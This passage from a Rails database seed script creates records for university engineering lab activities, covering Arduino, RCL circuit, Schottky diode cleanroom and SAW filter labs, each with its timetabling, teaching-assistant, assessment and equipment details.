\"228\").first_or_create!(name: \"Using an Arduino to Read Analogue Sensors\",\n name_abrv: \"Ard Anal\", archived: false, in_drive: false, user_id: 4)\n at365 = ActivityTimetable.where(activity_id: a365.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a365.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a365.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a365.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a365.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n\n\n a366 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"229\").first_or_create!(name: \"Wireless Control of an Arduino Based system, using a Bluetooth Interface\",\n name_abrv: \"Ard Wire\", archived: false, in_drive: false, user_id: 2)\n at366 = ActivityTimetable.where(activity_id: a366.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a366.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a366.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During this practical session, the students will generate a Bluetooth communications link between an Arduino device and a remote computer, to read and process remote sensor data.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a366.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a366.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n\n\n a367 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"229\").first_or_create!(name: \"Wireless Control of an Arduino Based system, using a Bluetooth Interface\",\n name_abrv: \"Ard Wire\", archived: false, in_drive: false, user_id: 3)\n at367 = ActivityTimetable.where(activity_id: a367.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a367.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a367.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a367.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a367.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n\n\n a368 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"230\").first_or_create!(name: \"RCL Circuit: Dynamics Laboratory\",\n name_abrv: \"RCL\", archived: false, in_drive: false, user_id: 5)\n at368 = ActivityTimetable.where(activity_id: a368.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a368.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a368.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a368.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a368.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a369 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS1321\").first.id, code: \"230\").first_or_create!(name: \"RCL Circuit: Dynamics Laboratory\",\n name_abrv: \"RCL\", archived: false, in_drive: false, user_id: 3)\n at369 = ActivityTimetable.where(activity_id: a369.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a369.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a369.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a369.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a369.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a369.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a370 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE205\").first.id, code: \"230\").first_or_create!(name: \"RCL Circuit: Dynamics Laboratory\",\n name_abrv: \"GEE - RCL\", archived: false, in_drive: false, user_id: 3)\n at370 = ActivityTimetable.where(activity_id: a370.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a370.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a370.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a370.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a370.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a370.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a371 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6503\").first.id, code: \"232\").first_or_create!(name: \"Pantograph Robot\",\n name_abrv: \"Pant Rob\", archived: false, in_drive: false, user_id: 1)\n at371 = ActivityTimetable.where(activity_id: a371.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a371.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a371.id).first_or_create!(criteria: \"Must have a understanding for forward and inverse kinematic modelling for robotic systems. Must be proficient at MATLAB, and preferably have worked with LabVIEW, (although not essential).\",\n job_desc:\"During this laboratory session, the students will model and implement forward and inverse kinematic models for a close coupled robot system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a371.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a371.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a372 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE205\").first.id, code: \"233\").first_or_create!(name: \"Introduction to Feedback and PI Control Design\",\n name_abrv: \"GEE - T+F Servo\", archived: false, in_drive: false, user_id: 3)\n at372 = ActivityTimetable.where(activity_id: a372.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a372.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a372.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a372.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a372.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a372.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a373 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"234\").first_or_create!(name: \"MSc Mechatronics Design Project\",\n name_abrv: \"ACS6502 - Design Project\", archived: false, in_drive: false, user_id: 5)\n at373 = ActivityTimetable.where(activity_id: a373.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a373.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a373.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a373.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a373.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a374 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS130\").first.id, code: \"239\").first_or_create!(name: \"Design and Build Project - Software\",\n name_abrv: \"ShaddowBots-Soft\", archived: false, in_drive: false, user_id: 5)\n at374 = ActivityTimetable.where(activity_id: a374.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at374.id, room_id: $room_ec.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a374.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a374.id).first_or_create!(criteria: \"Must have experience of programming microcontrollers devices with C, and a basic working knowledge of electronic circuit construction.\",\n job_desc:\"This is the 1st year group design project. The students will be initially make a strip board circuit, for a PIC micro controller, and mount this to a two wheeled robot. The robot will be programmed, on C, to drive towards a beacon and avoid obstacles in its path.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a374.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a374.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n\n\n a375 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1006\").first.id, code: \"300\").first_or_create!(name: \"Cleanroom taster for COM\",\n name_abrv: \"SCHOTTKY- COM\", archived: false, in_drive: false, user_id: 4)\n at375 = ActivityTimetable.where(activity_id: a375.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a375.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"COM Schottky\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a375.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of basic testing of devices (IV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode (or possibly MESFET transistor) in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a375.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a375.id).first_or_create!(cost_per_student: nil, equip_needed: \"All equipment as per CCEE.1.06.002 and CCEE.1.06.003 except LCR meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a375.id, programme_id: $prog_com.id).first_or_create!\n\n\n a376 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"301\").first_or_create!(name: \"Group Project (Great Egg Race)\",\n name_abrv: \"GRP1\", archived: false, in_drive: false, user_id: 1)\n at376 = ActivityTimetable.where(activity_id: a376.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"210 minutes x 4 sessions (2 groups)\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a376.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"FYGER\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a376.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a376.id).first_or_create!(assess_weight: 8.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a376.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a376.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a377 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE380\").first.id, code: \"302\").first_or_create!(name: \"Individual Design Project\",\n name_abrv: \"IDP\", archived: false, in_drive: false, user_id: 3)\n at377 = ActivityTimetable.where(activity_id: a377.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Ad Hoc sessions, arranged between student and MEE staff\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a377.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Ind Design\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a377.id).first_or_create!(criteria: \"\",\n job_desc:\"GTAs sourced by EEE\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a377.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a377.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a377.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a378 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6213\").first.id, code: \"304\").first_or_create!(name: \"Resistivity measurements\",\n name_abrv: \"RES\", archived: false, in_drive: false, user_id: 1)\n at378 = ActivityTimetable.where(activity_id: a378.id).first_or_create!(duration: 180, kit_prep_time: 120, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 60, takedown_time: 30, notes: \"Each student comes to 2 sessions. Timetabling cannot happen until Masters students have chosen their modules - will be very last minute.\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a378.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a378.id).first_or_create!(criteria: \"\",\n job_desc:\"Assist MSc students with Electrical measurements (IV) using probe station.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a378.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a378.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a378.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a379 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"305\").first_or_create!(name: \"Schottky Diode 1: Photolithography\",\n name_abrv: \"SCHOTTKY1\", archived: false, in_drive: false, user_id: 3)\n at379 = ActivityTimetable.where(activity_id: a379.id).first_or_create!(duration: 210, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Schottky 1 and Schottky 2 need to be on consecutive days.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a379.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Schottky 1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a379.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of testing of devices (IV, CV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a379.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a379.id).first_or_create!(cost_per_student: nil, equip_needed: \"At least 1 mask aligner with camera, 1 microscope with camera and yellow light filter in yellow room, 1 spinner, both chemical stations within the yellow room, at least 1 hot plate, 8 pairs tweezers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a379.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a380 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"306\").first_or_create!(name: \"Schottky Diode 2: Metallisation and Test\",\n name_abrv: \"SCHOTTKY2\", archived: false, in_drive: false, user_id: 1)\n at380 = ActivityTimetable.where(activity_id: a380.id).first_or_create!(duration: 210, kit_prep_time: 120, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 45, notes: \"Schottky 1 and Schottky 2 need to be on consecutive days.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a380.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"Schottky 1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a380.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of testing of devices (IV, CV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a380.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a380.id).first_or_create!(cost_per_student: nil, equip_needed: \"1 thermal evaporator, 4 acetone-resistant 0.5 - 5ml pipettes, 3 solvent chemical stations, 3 hot plates, 1 ultrasound cleaning bath, 8 probe stations, 8 SMUs, 8 LCRs, 8 LCR bias adapters, 2 microscopes, 10 microscope cameras\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a380.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a381 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"MAT2220\").first.id, code: \"307\").first_or_create!(name: \"Schottky lab for MAT\",\n name_abrv: \"SCHOTTKY - MAT\", archived: false, in_drive: false, user_id: 4)\n at381 = ActivityTimetable.where(activity_id: a381.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a381.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"MAT Schottky\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a381.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of basic testing of devices (IV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a381.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a381.id).first_or_create!(cost_per_student: nil, equip_needed: \"All equipment as per CCEE.1.06.002 and CCEE.1.06.003 except LCR meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a381.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a382 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE228\").first.id, code: \"308\").first_or_create!(name: \"Second Year Design Exercise: SAW\",\n name_abrv: \"SYDE - SAW\", archived: false, in_drive: false, user_id: 2)\n at382 = ActivityTimetable.where(activity_id: a382.id).first_or_create!(duration: 210, kit_prep_time: 1000, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 60, takedown_time: 30, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a382.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a382.id).first_or_create!(criteria: \"Basic cleanroom skills plus at least some of these: Mask design (KLayout)\",\n job_desc:\"Assist ~20 Y2 EEE students to design, build and test a surface acoustic wave (SAW) filter.\n\n Description of project for UG students:\n In this exercise you will design, build and test a band pass filter that operates in the radio frequency (MHz) regime. Such filters are essential components in many modern electronic systems, including mobile phones, TVs and radar. \n\n It is possible to make filters using LCR (inductor, capacitor, resistor) networks, but such sytems are complicated and have low precission. Instead you will utilise the phenomenon of surface acoustic waves (SAWs) to make your own filter. SAWs are generated on the surface of piezo-electric crystals when they are excited by an electrical signal. The waves on the crystal travel nearly one million times slower than the speed of light, so, as well as enabling you to make a filter, they are also very important for making delay lines. Careful design of the interdigitated electrode structure on the lithium niobiate crystal will enable you to precisely define the performance of the filter. Each student will be given their own unique design specification (centre frequency, bandwidth). The design process will require you to use some of the concepts introduced in the Communication Electronics module (EEE227) and to use a computer-aided design (CAD) package. You will then make the filter using the extensive facilities in the Diamond cleanroom, including: mask manufacture; photolithography; plasma etching; metallisation; wet etching and wire bonding. You will then evaluate your filter using a vector network analyser. Care will be needed to ensure an impedence match between your filter and the test fixtures. The tests will involve measurement of frequency response of the filter and inspection of the output signals for signs of harmonic or other spurious signal generation. Assessment is by individual report and group presentation, with account taken of your performance at the design stage and in the laboratory.\", jobshop_desc: \"Photolithography\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a382.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a382.id).first_or_create!(cost_per_student: nil, equip_needed: \"Peter Trend, Abi 